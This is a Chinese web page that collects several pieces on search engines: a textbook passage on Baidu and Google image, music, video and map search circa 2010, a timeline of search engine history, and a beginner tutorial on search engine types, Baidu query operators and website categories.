    比如百度的图片搜索引擎,用户可以从百度的主页选择“图片”进入,也可以直接进入它的网址,为:http://image.baidu.com,主页如图3. 67所示:

    clip_image146

    3. 67 百度图片搜索引擎的主页界面(截取于2010-7)

    比如想查询中国工商银行的标志图片,可以直接输入“中国工商银行标志”,查询结果如图3. 68所示:

    clip_image148

    3. 68 在百度图片搜索引擎中查询“中国工商银行标志”的结果页面(截取于2010-7)

    虽然此次查询效果不错,但也需要掌握很多的查询方法和注意事项。

    首先应当理解,这种基于文字的多媒体查询对于较为常见的普通查询效果一般都不错,但是对于功能较为独特、专指性较强的查询而言,则效果往往不甚理想。如查询“南京财经大学信息工程学院”,查询结果如图3. 69所示:

    clip_image150

    3. 69 在百度图片搜索引擎中查询“南京财经大学信息工程学院”的结果页面(截取于2010-7)

    显然结果不够理想,这些图片都是南京财经大学的校园图片。造成这种现象的主要原因有两个:一个相关图片可能确实很少,二是相关图片可能没有足够的有效文字进行描述,因此无法查询出来。

    第二是要注意准确表达用户查询需求。如查询苹果公司的著名标记,直接输入“苹果”,查询结果多为水果类图片,如图3. 70所示:

    clip_image152

    3. 70 在百度图片搜索引擎中查询“苹果”的结果页面(截取于2010-7)

    此时可以考虑使用其他图片搜索引擎,更换查询词语或者采用更多的文本查询策略等方法,这些内容在下一章有专门说明。

    第三可以考虑使用一些基于内容的查询方法,如在百度图片搜索引擎中,我们能够在搜索框下方看到诸如“新闻图片”、“全部图片”、“壁纸”、“表情”和“头像”之类的类别说明,甚至还有更为高级的“图片尺寸”和“图片颜色”,其中“图片颜色”就可以看成是一种典型的基于内容的查询方法,如选择“黑色”,因为苹果水果不可能为黑色,相反一些产品商标则更易于采用黑色之类的典雅设计方案,查询结果如图3. 71所示:

    clip_image154

    3. 71 在百度图片搜索引擎“苹果”查询结果页面中选择“黑色”图片(截取于2010-7)

    随着技术的发展,现代图片搜索引擎的查询功能更为完善和丰富,如Idée公司实验室[21]推出的几款基于颜色和图片相似度的搜索引擎系统等。如其中基于颜色的图片搜索引擎允许用户选择图片所具有的颜色,自由查询相应的图片,结果如图3. 72所示:

    clip_image156

    3. 72 在Idée公司实验室图片搜索引擎中根据颜色查询图片的结果页面(截取于2010-7)

    1.3.3.2 音乐搜索引擎

    音乐搜索引擎属于音频搜索引擎的一种。早期百度提供的MP3搜索就是一种著名的音乐搜索引擎,网址为:http://mp3.baidu.com,主页如图3. 73所示:

    clip_image158

    3. 73 百度MP3搜索引擎的主页界面(截取于2010-7)

    它提供了诸如基于歌曲名称、歌手和歌词等文本查询方法,也允许用户选择音乐文件的类型,如“MP3”、“rm”和“wma”等格式。其中的“视频”查询只是将音乐查询和视频查询功能结合在一个界面上,本质仍然是视频查询而已。

    下面重点介绍一下Google的音乐搜索引擎。因为它提供了一个极为有趣的、基于内容的查询方法,网址为:http://www.google.cn/music,主页如图3. 74所示:

    clip_image160

    3. 74 Google音乐搜索引擎的主页界面(截取于2010-7)

    点击其中的“挑歌”,即可打开一个界面,允许用户按照包括“节奏”、“声调”、“音色”在内的歌曲风格,以及“年代”、“歌手”、“流派”和“语言”等多项指标来进行复合查询。如查询2001年到2003年间、声调低沉并且音色丰富的歌曲,查询结果如图3. 75所示:

    clip_image162

    3. 75 在Google音乐搜索引擎通过音乐风格来挑歌(截取于2010-7)

    任意选择一个歌曲,都可以打开Google的在线试听音乐页面,直接听取歌曲和浏览歌词,同时还能查询“相似歌曲”和下载所需歌曲,界面如图3. 76所示:

    clip_image164

    3. 76 Google音乐搜索引擎的在线试听音乐界面(截取于2010-7)

    1.3.3.3 视频搜索引擎

    视频查询是这些多媒体搜索引擎中功能最为复杂的一个,实现难度也最大。为了提供查询的准确度和满足用户对最新视频的查询需求,现阶段的搜索引擎多采用与著名媒体和其他视频内容提供商合作的方式来提供视频查询服务。如百度的视频搜索引擎网址为:http://video.baidu.com,主页如图3. 77所示:

    clip_image166

    3. 77 百度视频搜索引擎的主页界面(截取于2010-7)

    不同类型的多媒体往往具有不同的查询特征,如对于视频而言,字幕信息就是一种极为重要的语义描述信息,画质和片长也是常见的查询字段,这些功能都可以在高级搜索界面中进行选择。如在Google视频搜索引擎的“高级搜索”界面中,查询谈论中国经济发展前景的中文短片视频,设置界面如图3. 78所示:

    clip_image168

    3. 78 在Google视频搜索引擎“高级搜索”中查询谈论中国经济发展前景的中文短片视频(截取于2010-7)

    在查询结果中,Google自动打开“Google百宝箱”从而展示了更多的查询选择指标,如图3. 79所示:

    clip_image170

    3. 79 在Google视频搜索引擎中查询谈论中国经济发展前景的中文短片视频的结果页面(截取于2010-7)

    1.3.4 地图搜索引擎

    地图搜索引擎作为一种特殊的搜索引擎,它在现代搜索引擎中的作用越来越大,很多结合购物、旅游和交友的信息查询服务都开始与地图搜索引擎进行结合,从而为用户提供更为方便和直观的体验。国外的Google地图搜索引擎、国内早期的“图行天下(Go2map)”[22]都是一些比较有代表性的地图搜索引擎。

    Google地图搜索引擎是近年来受到关注最多的一款。早在2004年,Google就通过收购卫星影像提供商Keyhole,使用Keyhole的Quick Bird(捷鸟)卫星影像,开始对外提供地图搜索服务。后来该项服务开始与生活搜索、移动搜索等进行结合,并允许用户通过Google地图搜索引擎提供的专门方法,可以很方便的将这些地图查询功能集成到自己的网站系统中,影响度很快得以扩大。它的网址为:http://maps.google.com,主页如图3. 80所示:

    clip_image172

    3. 80 Google地图搜索引擎的主页界面(截取于2010-7)

    用户可以直接在搜索框中输入所要显示的城市名称,中英文都支持,如查询“北京”的地图信息,显示结果如图3. 81所示:

    clip_image174

    3. 81 在Google地图搜索引擎中查询“北京”的结果页面(截取于2010-7)

    用户可以拖拽地图左边的缩放尺来缩放地图,还可以点击地图右上角的诸如“路况”和“卫星”等按钮来改变地图的显示内容,如切换为“卫星”视图后将会显示北京城市的卫星拍摄地图,如图3. 82所示:

    clip_image176

    3. 82 在Google地图搜索引擎中查询“北京”的卫星地图页面(截取于2010-7)

    更为有意思的是,Google地图还提供了街景浏览功能。用户只需将缩放尺上边的黄色小人拖拽到地图上,此时可以显示那个位置的街景照片。对于有些城市,Google还提供了三维街景视图,如香港浅水湾地区的三维街景视图如图3. 83所示:

    clip_image178

    3. 83 在Google地图搜索引擎中查询“香港浅水湾”的三维街景地图页面(截取于2010-7)

    而且,近年来Google也将很多其他的信息查询服务与地图查询结合了起来,如和公交查询结合等。如查询从南京火车站到南京财经大学仙林校区的的士路线,同时显示当前路况信息,结果如图3. 84所示:

    clip_image180

    3. 84 在Google地图搜索引擎中查询公交信息和路况信息(截取于2010-7)


    [1] 2009-2010年iResearch艾瑞咨询中国搜索引擎市场份额报告. http://www.iresearch.com.cn/Report/1360.html. 2010-3.

    [2] 扩检是指扩展检索,意即对当前查询词语的语义进行分析,找到更为一般的、或者与此相关的其他查询词语来提供给用户在做进一步查询时使用。

    [3] Surf是指冲浪,这里意指所谓的网上冲浪,通常上网的用户也被称为“冲浪者(Surfer)”。

    [4] 所谓搜索造假者,是指一些恶意的网站管理者通过故意修改网页内容来设法提升自己网页在搜索引擎命中结果中的位置,或者使得用户在输入一些常见词语进行查询的时候,也能很方便的找到网站管理者自己的网页。显然,这种行为并不公平,而且会极大影响搜索引擎自身的声誉。

    [5] 微软早期推出的搜索引擎也很著名,如MSN Search、Live Search等,2009年微软推出了Bing(中文名称是“必应”),并同时停止了原有的那些搜索引擎服务。

    [6] 按点击付费(Pay Per Click)的搜索引擎盈利模式最早是由Goto搜索引擎提出的,它允许网站管理者实时进行查询结果的排序,客户可以花钱购买排序的位置,通过拍卖的形式将相关网站放在前面,但同时明确标出这个查询结果是付费的。这种方式给它带来了巨大的收益。2001年,Goto更名为Overture。

    [7] googol是美国数学家Edward Kasner的侄子Milton Sirotta创造的一个词。

    [8] Alpha版和Beta版都是软件开发中的常见术语。一般而言,所谓Alpha版是指尚未交付使用的测试版本,而Beta版是指可以运行的最终发布版本。

    [9] Google高价购回中国域名十九个字母百万. http://www.sh.xinhuanet.com/2005-04/29/content_4156067.htm. 2009-10.

    [10] 2010年4月,Google已经退出中国内地市场,所以域名自动定向到香港服务器下,同样,此前号称最短的域名www.g.cn和中国域名www.google.cn也都会自动定向过去。

    [11] 微软的“杜威女士”搜索引擎已于2009年底关闭服务。

    [12] 在2010年4月2日的Ask主页上,我们能够看到一个“Question of the Day(每天一问)”,如“What year brought the most abundant Swiss spaghetti harvest(瑞士面条树大丰收是哪一年出现的)?”。这其实是个愚人节玩笑,1957年愚人节BBC新闻中说,瑞士的面条树大丰收,农民都在树上收割面条。大量观众上当受骗,打电话来咨询面条树的种植方法。BBC对此的回复是:把一根面条插在番茄酱里,然后就等着吧。

    [13] 从字面看,ESP是指超感觉的知觉(Extra-Sensory Perception),即俗称的第六感。这个名称反映了用户在使用该技术查询时,仿佛具有第六感,比较容易获得自己想要的东西。

    [14] Logo中那个蓝色的图案是个熊掌。之所以这样,据说在创立的时候,百度开发者觉得其他的搜索引擎网站太沉闷,而选择的熊掌则比较俏皮可爱。话说回来,很多其他搜索引擎也常常都有一个动物图腾,如搜狐有“狐狸”等。

    [15] 《搜索引擎—原理、技术与系统》官方电子版本的下载地址为:http://sewm.pku.edu.cn/book/LxmYhfWjm_v1.0.pdf。

    [16] Z. Bar-Yossef and M. Gurevich. Random sampling from a search engine's index. In Proceedings of 15th International World Wide Web Conference, 2006.

    [17] Google创始人塞吉•布林(Sergey Brin)就曾经发表过一篇探讨PageRank的经典论文《The pagerank citation ranking: Bringing order to the web(PageRank排序方法:给Web带来次序)》,斯坦福大学的数字图书馆就有电子全文的下载服务,网址为:http://ilpubs.stanford.edu:8090/422。今天的Google站点还收集着有关Google技术细节的更多相关论文,网址为:http://research.google.com/pubs/papers.html。

    [18] 1K约为1000个英文字符,或者500个汉字字符。

    [19] Superpages黄页站点的网址为:http://www.superpages.com。

    [20] Intelius寻人查询站点的网址为:http://www.intelius.com。

    [21] Idée公司实验室的网址为:http://labs.ideeinc.com。

    [22] 2005年4月12日搜狐收购了图行天下,将其地图数据引入到自己的搜索引擎搜狗之中。

    展开全文
  • 搜索引擎发展简史

    千次阅读 2020-08-31 17:56:43
    现如今,搜索引擎的定义已经不仅仅是局限于狭义上的搜索引擎本身了,除了百度、谷歌这样的搜索引擎,抖音、小红书等应用软件里的搜索,都属于广义上的搜索引擎搜索引擎可以说是在我们生活中方方面面都在普遍使用,...

    现如今,搜索引擎的定义已经不仅仅是局限于狭义上的搜索引擎本身了,除了百度、谷歌这样的搜索引擎,抖音、小红书等应用软件里的搜索,都属于广义上的搜索引擎。搜索引擎可以说是在我们生活中方方面面都在普遍使用,小到一道菜的做法,大到飞机制造原理都需要一定程度上借助搜索引擎。想必大家对搜索引擎的发展史也都充满好奇,今天我就来和大家简单介绍一下搜索引擎的发展历史。

    搜索引擎的鼻祖目前来说公认的就是1990推出历史上首个真正意义的搜索引擎Archie,只不过Archie用于FTP服务器,并非Web。

    1993年,搜索引擎历史上第一个用于Web网络的搜索引擎Word Wide Web Wanderer出现,但只做收集网址而用。

    同年,第二个Web搜索引擎ALIWEB诞生,已经可以检索标题标签等信息,但文件主题内容还是无法索引。

    1994年,Infoseek创立,稍后即正式推出搜索服务,并允许站长向Infoseek提交网址。百度创始人李彦宏当时就是Infoseek的核心工程师之一。

    同年,杨致远与David Filo创立Yahoo!,当时作为人工收录网址而用,“寄居”于斯坦福大学的域名。

    稍后,第一个可以索引全文内容的搜索引擎WebCrawler推出,作为华盛顿大学的一个研究项目。之后该搜索引擎与95年、96年分别被AOL和Excite收购。直到2001年停止研发,转而成为整合、显示多方搜索结果的元搜索引擎。

    而后,Lycos创立,迅速成为最受欢迎的搜索引擎之一。

    1995年,Yahoo!公司正式成立,并在早些时候注册yahoo.com域名。

    年底,Excite搜索引擎正式上线,一度成为早起流行的搜索引擎之一。2001年其母公司破产,被InfoSpace购买,而后04年又被Ask Jeeves收购。

    稍后,Alta Vista诞生,并在搜索引擎领域做了许多开创性的工作,一跃成为当时最受欢迎的搜索引擎,堪称当时的Google。

    不久,Infoseek成为当时霸主网景浏览器的默认搜索引擎,曾占得90%以上的市场份额。随后因微软免费浏览器IE的推出而逐渐衰败,2008年正式停止研发。

    1996年,Larry Page与Sergey Brin在斯坦福大学开始名为BackRub的研究项目。该搜索引擎技术项目于1997年正式更名为Google。

    期间,Yahoo!上市。

    同年,Inktomi创立,是早起重要的搜索技术提供商,提供付费收录。

    同时,Hotbot成了,并使用Inktomi提供的数据。该搜索引擎在流行一段时间后于98年被Lycos收购,之后转型显示来自Google、FAST、Teoma和Inktomi搜索结果的元搜索引擎。

    年底,Lycos以收录6000w文件高居当时最大的搜索引擎。

    1997年,Ask Jeeves正式上线,后2006年更名为Ask。由于当时采用纯人工录入搜索结果的方式,由于网络上的信息量巨大,后来不得不使用其他搜索引擎的数据。

    1998年,GoTo(后改名为Overture)正式开始竞价排名业务,成为PPC点击付费广告形式的鼻祖。

    随后,Direct Hit创办,主要采用用户点击率来列出搜索结果排名,而后被作弊者利用。

    年间,迪士尼控股Infoseek,并将其转型为门户网站。AltaVista被Compaq收购,并也被转型为门户网站,从此AltaVista走向没落。

    另外,Yahoo!放弃两年前使用的AltaVista,转而使用Inktomi的搜索数据。那个时候,Yahoo!只在用户搜索的网站未在其目录中时才显示真正来自搜索引擎的数据。

    下半年,MSN搜索上线,由于微软没有重视,所以直到2004年该搜索引擎一直使用其他提供商的搜索技术与数据。

    与此同时,Google公司正式成立。

    1999年,AllTheWeb.com创建,作为搜索引擎技术公司FAST展示技术的平台。

    不久,NetScrpe放弃Excite,开始使用Google的搜索数据,对Google来说是个里程碑。

    同年,迪士尼将Infoseek流量转入Go.com,曾流行一时的搜索引擎Infoseek也不复存在,而Go.com几经波折目前尚默默无闻。Lycos也停止了自己的搜索技术研发,开始使用AllTheWeb的搜索数据。

    2000年初,Ask Jeeves花5亿美元的重金收购Direct Hit,却毫无进一步发展。两年后,Direct Hit也正式告终。

    同时,百度正式成立,作为搜索技术提供商。

    中旬,西班牙公司Terra Networks收购Lycos,并更名为Terra Lycos,缺无疾而终。

    随后,Yahoo!正式采用Google提供的搜索数据。

    本年中GoTo.com基本放弃用自己网站吸引用户的做法,转而向多家搜索引擎及网站提供付费搜索服务。

    同年下旬,Google推出AdWords,当时的CPM按显示付费模式却并未获得成功。

    2001年,Ask Jeeves收购Teoma,作为同样重视链接的搜索引擎,曾被认为可能是Google的最大竞争对手。

    不久,百度作为搜索引擎正式上线,百度竞价随即浮出水面,中文搜索随即迅速进入百度时代。

    2002年,Google AdWords推出PPC形式,成为至今的AdWords主流模式。这个由Overture发明的搜索广告模式,却被Google发扬光大。Google也因此成为充分利用搜索的网络赚钱机器。

    年中,AOL放弃Inktomi,转用Google的搜索数据。

    年末,Yahoo!放弃先返回其目录数据的做法,也完全采用Google的搜索数据。随后,收购Inktomi,为次年一些收购和整合拉开序幕。

    2003年,Overture收购AltaVista和FAST的搜索技术部门,因此其也拥有了当时两大主要搜索技术公司。

    随后,Google推出后来被成为Adsense的内容广告系统。

    下半年,Yahoo!以16亿美元收购Overture,将除了Google之外的几乎所有主流搜索技术收归旗下。Overture的PPC广告平台被整合,改名为Yahoo! Search Marketing。

    同年,微软MSN终于开始开发自己的搜索引擎技术。而国内的百度推出多种搜索方式,并将搜索领入社区化时代。

    2004年,Yahoo!宣布不再使用Google的搜索数据。

    随后,Google上市。

    年末,微软推出自己的搜索引擎MSN Search,不再使用第三方搜索引擎技术。

    三国鼎立的局面正式拉开。

    2005年,百度上市。

    2006年,微软推出类似于Google AdWords的广告系统AdCenter。随后MSN网络品牌产品全部改为Live标识。

    同年,Google正式确定其全球中文名字为“谷歌”,并进军中国市场。

    同时,百度宣称比Google“更懂中文”,稳固国内搜索引擎霸主地位。

    2007年01月01日,搜狗网页搜索3.0版本问世,利用自主研发服务器集群并行抓取技术,成为全球首个中文网页收录达百亿量级的搜索引擎。

    2007年5月腾讯与 Google 中国正式达成合作,由 Google 为 SOSO 提供技术支持。

    随后,Google开始提供类似网站联盟的按转化付费的广告形式。随后又收购网络广告公司DoubleClick,进入更广泛的网络广告领域。

    2009年,微软Live Search改名为Bing,并与Yahoo!达成历史性协议。Yahoo!将逐步放弃自己的搜索技术,转用Bing的数据,之前的努力也付之东流。

    同年,Google以创始人之一的Larry Page命名的PageRank(谷歌PR值)正式被大众知晓,后被广泛重视。

    2010年,Yahoo!正式采用Bing的搜索数据。

    同时,Google在旗下Chrome浏览器中推出了Google Instant,即用户在输入关键词(并未按下搜索按钮或Enter键)时即可看到搜索结果。

    年中,Google因某些原因退出中国市场,只能在香港留下一个桥头堡。

    2013年UC和阿里成立合资公司推出的移动搜索引擎——神马搜索。

    同年9月16日腾讯宣布已将搜搜并入搜狗搜索, SOSO 品牌就此消失。

    2015年1月6日消息,360总裁齐向东向全体员工发送邮件,宣布360搜索将正式推出独立品牌“好搜”,原域名可直接跳转至新域名。

    2016年2月,360再次宣布,将“好搜搜索”重新更名为“360搜索”,域名也由“haosou.com”切换为更易输入的“so.com”,回归360母品牌,意味着360搜索将继续依托360母品牌的基础,在安全、可信赖等方面,继续形成差异化优势。

    自此之后,PC搜索逐渐形成以百度、搜狗、360为代表的三足鼎立局面,移动搜索方面尽管神马搜索在逐步崛起中,但主要还是依赖于百度搜索。

    就搜索引擎的时代划分来说,目前搜索引擎处于第四代——用户中心时代,搜索用户有着千奇百怪的搜索需求,又因为大数据技术的逐步成熟,搜索引擎也将迎来更进一步的发展,在这场无硝烟的搜索市场战争中,究竟会鹿死谁手,我们一同拭目以待。

    展开全文
  • 麒麟搜索引擎排名查询工具,可查关键词在百度、手机百度、360、搜狗的排名。该软件不仅仅只是为了查询网站的排名,还可查询帖子、外链排名,且可帮助企业了解哪些站点是属于
  • 知识点:搜索引擎的概念理解、搜索引擎的分类、搜索引擎使用技巧、网站的概念、网站类型 1、搜索引擎 搜索引擎(Search Engine)是指根据一定的策略、运用特定的计算机程序从互联网上搜集信息,在对信息进行组织...

    知识点:搜索引擎的概念理解、搜索引擎的分类、搜索引擎使用技巧、网站的概念、网站类型

    1、搜索引擎

             搜索引擎(Search Engine)是指根据一定的策略、运用特定的计算机程序从互联网上搜集信息,在对信息进行组织和处理后,为用户提供检索服务,将用户检索相关的信息展示给用户的系统

            搜索引擎的种类:搜索引擎包括全文索引、目录索引、元搜索引擎、垂直搜索引擎、集合式搜索引擎、门户搜索引擎与免费链接列表等。

    (1)全文搜索引擎

            全文搜索引擎是名副其实的搜索引擎,国外代表有Google,国内则有著名的百度搜索。它们从互联网提取各个网站的信息(以网页文字为主),建立起数据库,并能检索与用户查询条件相匹配的记录,按一定的排列顺序返回结果

     

             根据搜索结果来源的不同,全文搜索引擎可分为两类,一类拥有自己的检索程序(Indexer),俗称“蜘蛛”(Spider)程序或“机器人”(Robot)程序,能自建网页数据库,搜索结果直接从自身的数据库中调用,上面提到的Google和百度就属于此类;另一类则是租用其他搜索引擎的数据库,并按自定的格式排列搜索结果,如Lycos搜索引擎。

    (2)目录索引

            目录索引虽然有搜索功能,但严格意义上不能称为真正的搜索引擎,只是按目录分类的网站链接列表而已。用户完全可以按照分类目录找到所需要的信息,不依靠关键词(Keywords)进行查询。目录索引中最具代表性的莫过于大名鼎鼎的Yahoo!、新浪分类目录搜索。

    (3)元搜索引擎

            元搜索引擎(META Search Engine)接受用户查询请求后,同时在多个搜索引擎上搜索,并将结果返回给用户。著名的元搜索引擎有InfoSpace、Dogpile、Vivisimo等,中文元搜索引擎中具代表性的是搜星搜索引擎。在搜索结果排列方面,有的直接按来源排列搜索结果,如Dogpile;有的则按自定的规则将结果重新排列组合,如Vivisimo。

    (4)其他非主流搜索引擎形式

    • (1)集合式搜索引擎:该搜索引擎类似元搜索引擎,区别在于它并非同时调用多个搜索引擎进行搜索,而是由用户从提供的若干搜索引擎中选择,如HotBot在2002年底推出的搜索引擎。
    • (2)门户搜索引擎:AOL Search、MSN Search等虽然提供搜索服务,但自身既没有分类目录也没有网页数据库,其搜索结果完全来自其他搜索引擎。
    • (3)免费链接列表(Free For All Links,简称FFA):一般只简单地滚动链接条目,少部分有简单的分类目录,不过规模要比Yahoo!等目录索引小很多。

     

    2、搜索引擎使用技巧(以百度为例)

    (1)为了能找到合适的产品,小明首先在网址导航中打开百度,在百度中输入了“洗发水”显示结果如下,小明看了很久然而并没有找到适合自己的产品。

     

    (2)于是在百度中再次输入“洗发水+去屑”(在百度搜索引擎中,“+”与空格的作用是一样的,所以也可以输入“洗发水 去屑”),搜索结果出来后,小明点击了很多页面选择自己想要的产品,结果发现很多网站里面有海飞丝洗发水做的广告。

     

    (3)小王打算去掉跟“海飞丝”有关的广告,于是在百度中输入“洗发水+去屑 -海飞丝” 

    (4)听朋友说搜狐健康这个网站里面推荐的相关产品非常不错,于是小明找搜狐健康的官网,小明要在搜狐健康这个网站里面找到跟去屑有关的洗发水,于是在百度中输入“洗发水 去屑 site:health.sohu.com”,找到很多相关的文章

    (5)学校最近要举办一个PPT的比赛,因为平时关注了很多跟去头屑有关的知识,所以小明决定以去头悄为题材写一个PPT,为了写出更好的内容,小明打开百度搜索“去屑技巧”结果页面中多是显示的如下图的广告;

    (6)在请教了老师之后,小明学会了搜索专业文档的方法,输入“去头屑技巧 filetype:ppt”(去头屑技巧与filetype:ppt之间要留空格),结果跟“去头屑技巧”有关的ppt文档都出来了,专业文档还有doc,txt等格式的,

     

     

    3、互联网中常见的网站类型

            网站(Website)是指在因特网上根据一定的规则,使用HTML(标准通用标记语言下的一个应用)等工具制作的用于展示特定内容相关网页的集合。简单地说,网站是一种沟通工具,人们可以通过网站来发布自己想要公开的资讯,或者利用网站来提供相关的网络服务。人们可以通过网页浏览器来访问网站,获取自己需要的资讯或者享受网络服务。

    • 根据网站所用编程语言分类:例如asp网站、php网站、jsp网站、Asp. net网站等;
    • 根据网站的用途分类:例如门户网站(综合网站)、行业网站、娱乐网站等;
    • 根据网站的功能分类:例如单一网站(企业网站)、多功能网站(网络商城)等等。
    • 根据网站的持有者分类:例如个人网站、商业网站、政府网站、教育网站等。
    • 根据网站的商业目的分类:营利型网站(行业网站、论坛)、非营利性型网站(企业网站、政府网站、教育网站)。

     

    (1)资讯门户类网站

    • 目的:以提供信息资讯为主要目的
    • 功能:包含检索、论坛、留言,也有一些提供简单的浏览权限控制,功能简单
    • 特点:涵盖的工作类型多,信息量大,访问群体广
    • 代表网站:新浪、搜狐、新华网

     

    (2)企业品牌类网站

    • 目的:要求展示企业综合实力,体现企业 CIS 和品牌理念,达到品牌营销传播的目的。
    • 技术:利用多媒体交互技术,动态网页技术。 
    • 特点:非常强调创意,对于美工设计要求较高,精美的FLASH 动画是常用的表现形式,网站内容组织策划,产品展示体验方面也有较高要求。

    企业品牌网站可细分为三类:

    • 企业形象网站:塑造企业形象,传播企业文化,推介企业业务,报道企业活动,展示企业实力。
    • 品牌形象网站:当企业拥有众多品牌,且不同品牌之间市场定位和营销策略各不相同,企业可根据不同品牌建立其品牌网站,以针对不同的消费群体。
    • 产品形象网站:针对某一产品的网站,重点在于产品的体验

     

    (3)交易类网站

    • 目的:以实现交易为目的,以订单为中心。
    • 功能:产品管理、订购管理、订单管理、产品推荐、支付管理、收费管理、送发货管理、会员管理等基本系统功能。功能复杂一点的可能还需要积分管理系统、VIP管理系统、CRM系统、MIS系统、ERP系统、商品销售分析系统等。
    • 特点:产品信息量大,在线直接交易 ,轻松快捷;但安全性、质量存在很大问题。
    • 代表网站:淘宝、天猫、京东

     

    (4)社区网站

    • 目的:网民信息交流、休闲的场所
    • 功能:交际交流沟通、评论留言
    • 特点:大型的分了很多类的有很多注册用户的网站
    • 代表网站:猫扑、天涯、百度贴吧

     

    (5)个人网站

    目的:个人兴趣、爱好或展开,通过网站来发布自己想要公开的资讯,或者利用网站来提供相关的网络服务。

    功能:个人展示、信息服务

    特点:个性化、有明显个人色彩

     

    思考:网站如何进行盈利?

     

     

     

     

    ==========================这里是结束分割线===============================

    展开全文
  • .net 开源搜索引擎,C#搜索引擎开源

    千次阅读 2011-08-07 19:07:57
    .net 开源搜索引擎,C#搜索引擎开源,C#开源搜索引擎,.net搜索引擎开源 开源:完全自主研发搜索引擎1.0源代码及说明,单机400万网页全文索引,任意50词以内的检索不超过 20毫秒 搜索引擎1.0源代码、相关...
  • 搜索引擎按其工作方式主要可分为三种,分别是全文搜索引擎(Full Text Search Engine)、目录索引类搜索引擎(Search Index/Directory)和元搜索引擎(Meta Search Engine)。 一.全文搜索引擎是名副其实的搜索引擎,国外...
  • 什么是搜索引擎

    千次阅读 2014-11-11 08:30:03
    搜索引擎包括全文索引、目录索引、元搜索引擎、垂直搜索引擎、集合式搜索引擎、门户搜索引擎与免费链接列表等。 中文名搜索引擎 外文名search engine 分 类全文索引、目录索引等 代 表百度、谷歌等 目录 1
  • 搜索引擎概述

    千次阅读 2015-12-13 22:55:16
    一 搜索引擎的组成  搜索引擎一般由搜索器、索引器、检索器和用户接口四个部分组成:  1、搜索器:其功能是在互联网中漫游,发现和搜集信息  2、索引器:其功能是理解搜索器所搜索到的信息,从中抽取出...
  • 什么是垂直搜索引擎

    万次阅读 2015-10-16 09:10:23
    垂直搜索是针对某一个行业的专业搜索引擎,是搜索引擎的细分和延伸,是对网页库中的某类专门的信息进行一次整合,定向分字段抽取出需要的数据进行处理后再以某种形式返回给用户。 垂直搜索引擎和普通的网页搜索引擎...
  • 搜索引擎剖析

    2010-08-10 15:43:00
    “自然搜索”与“付费搜索”之间有什么区别?你应该将时间和金钱投向哪里?...在搜索引擎对网页进行评估的时候,它需要考虑很多方面的因素,包括域名(也就是我们常说的网址)、网站内容和元标签(m
  • 搜索引擎原理

    2015-09-18 15:51:15
    搜索引擎,通常指的是收集了万维网上几千万到几十亿个网页并对网页中的每一个词(即关键词)进行索引,建立索引数据库的全文搜索引擎。当用户查找某个关键词的时候,所有在页面内容中包含了该关键词的网页都将作为...
  • 搜索引擎营销

    2011-09-17 22:00:06
    SEM是Search Engine Marketing的缩写,中文意思是搜索引擎营销。...现在随着互联网的深入生活,SEM也是随之而来,方便人们的生活,例如现在大家都普遍使用的B2C网站,还有网上缴费等等,这些都是属于SEM......
  • 网页优化只是做好了登录搜索引擎的前期准备工作,最终我们要将优化好的网站提交搜索引擎,这也是网站注册中非常重要的一环。 ■ 提交网站还是网页 提交你的网页,而不是你的网站——以前的确如此,而今情况则完全...
  • 此产品属于web领域,电子商务的聚焦搜索引擎,通过测试可以适用于至少8——10个现在比较主流的电子商务网站,包括淘宝,京东,国美等。希望对你们有用处。
  • 了解搜索引擎技术

    千次阅读 2010-06-09 14:53:00
    关于搜素引擎搜索引擎(search engine)是指根据一定的策略、运用特定的计算机程序搜集互联网上的信息,在对信息进行组织和处理后,并将处理后的信息显示给用户,是为用户提供检索服务的系统。 全文搜索引擎是...
  • 搜索引擎资源

    千次阅读 2008-03-17 19:27:00
    一、搜索引擎技术/动态资源、综合类1、卢亮的搜索引擎研究 http://www.wespoke.com/卢亮属于搜索引擎开发上的专家,以前开发过一个搜索引擎"博索"(http://booso.com/),好像现在已经停止开发了,目前他服务于博客网...
  • 小型站内搜索引擎

    千次阅读 2019-02-26 14:08:19
    关于搜索引擎我们平时接触到的再多不过了,谷歌、必应、搜狗等,当然这些搜索引擎都是属于比较大型的搜索引擎,他们基本上是可以对全网的网页数据进行搜索的 通常我们在使用搜索引擎时,我们输入完搜索内容之后进行...
  • 搜索引擎分类

    2006-05-17 20:43:00
    搜索引擎按其工作方式主要可分为三种,分别是全文搜索引擎(Full Text Search Engine)、目录索引类搜索引擎(Search Index/Directory)和元搜索引擎(Meta Search Engine)。 ■ 全文搜索引擎 全文搜索引擎是...
  • 此产品属于web领域电子商务聚焦搜索引擎,适用于主流电子商务网站,包括淘宝,京东等的所有电商网站和门户网站
  • Django与Elasticsearch交互打造搜索引擎网站(一)

    万次阅读 多人点赞 2019-06-05 16:12:06
    说明:该篇博客是博主一字一码编写的,实属不易,请尊重原创,...四丶elasticsearch搜索引擎的使用 五丶使用scrapy爬取知名技术文章网站 六丶将scrapy爬取到的数据写入到elasticsearch中 一丶叙述 1.项目介绍...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 52,358
精华内容 20,943
关键字:

属于搜索引擎的网站是